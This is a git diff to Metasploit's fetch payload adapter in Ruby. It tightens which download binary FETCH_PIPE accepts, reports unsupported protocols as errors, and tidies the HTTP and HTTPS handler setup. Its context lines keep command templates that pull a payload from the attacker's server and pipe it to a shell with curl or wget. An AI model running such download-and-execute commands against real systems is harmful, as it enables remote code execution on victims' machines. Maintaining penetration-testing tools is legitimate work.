diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 90a992fe2c..815e925990 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -88,8 +88,10 @@ module Msf::Payload::Adapter::Fetch opts[:code] = super @srvexe = generate_payload_exe(opts) if datastore['FETCH_PIPE'] - unless %w[WGET CURL].include?(datastore['FETCH_COMMAND'].upcase) - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected for FETCH_PIPE option') + supported_binaries = %w[CURL] + supported_binaries = %w[WGET CURL] if linux? + unless supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.") end @pipe_cmd = generate_fetch_commands @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows @@ -116,8 +118,7 @@ module Msf::Payload::Adapter::Fetch when 'CURL' return _generate_curl_pipe else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected for FETCH_PIPE option') - end + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.") end end def generate_fetch_commands @@ -325,7 +326,7 @@ module Msf::Payload::Adapter::Fetch when 'TFTP' return "curl -s tftp://#{_download_pipe} | #{execute_cmd}" else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end end @@ -397,7 +398,7 @@ module Msf::Payload::Adapter::Fetch when 'HTTP' return "wget -qO - http://#{_download_pipe} | sh" else - return nil + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end end diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index ade4174f57..24b4111769 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -20,7 +20,7 @@ module Msf::Payload::Adapter::Fetch::HTTP def setup_handler unless datastore['FetchHandlerDisable'] - @fetch_service = start_http_fetch_handler(srvname) unless datastore['FetchHandlerDisable'] + @fetch_service = start_http_fetch_handler(srvname) escaped_uri = ('/' + srvuri).gsub('//', '/') add_resource(@fetch_service, escaped_uri, @srvexe) unless @pipe_uri.nil? diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index 6428d8af0c..5c587eda43 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -20,7 +20,7 @@ module Msf::Payload::Adapter::Fetch::Https def setup_handler unless datastore['FetchHandlerDisable'] - @fetch_service = start_https_fetch_handler(srvname) unless datastore['FetchHandlerDisable'] + @fetch_service = start_https_fetch_handler(srvname) escaped_uri = ('/' + srvuri).gsub('//', '/') add_resource(@fetch_service, escaped_uri, @srvexe) unless @pipe_uri.nil?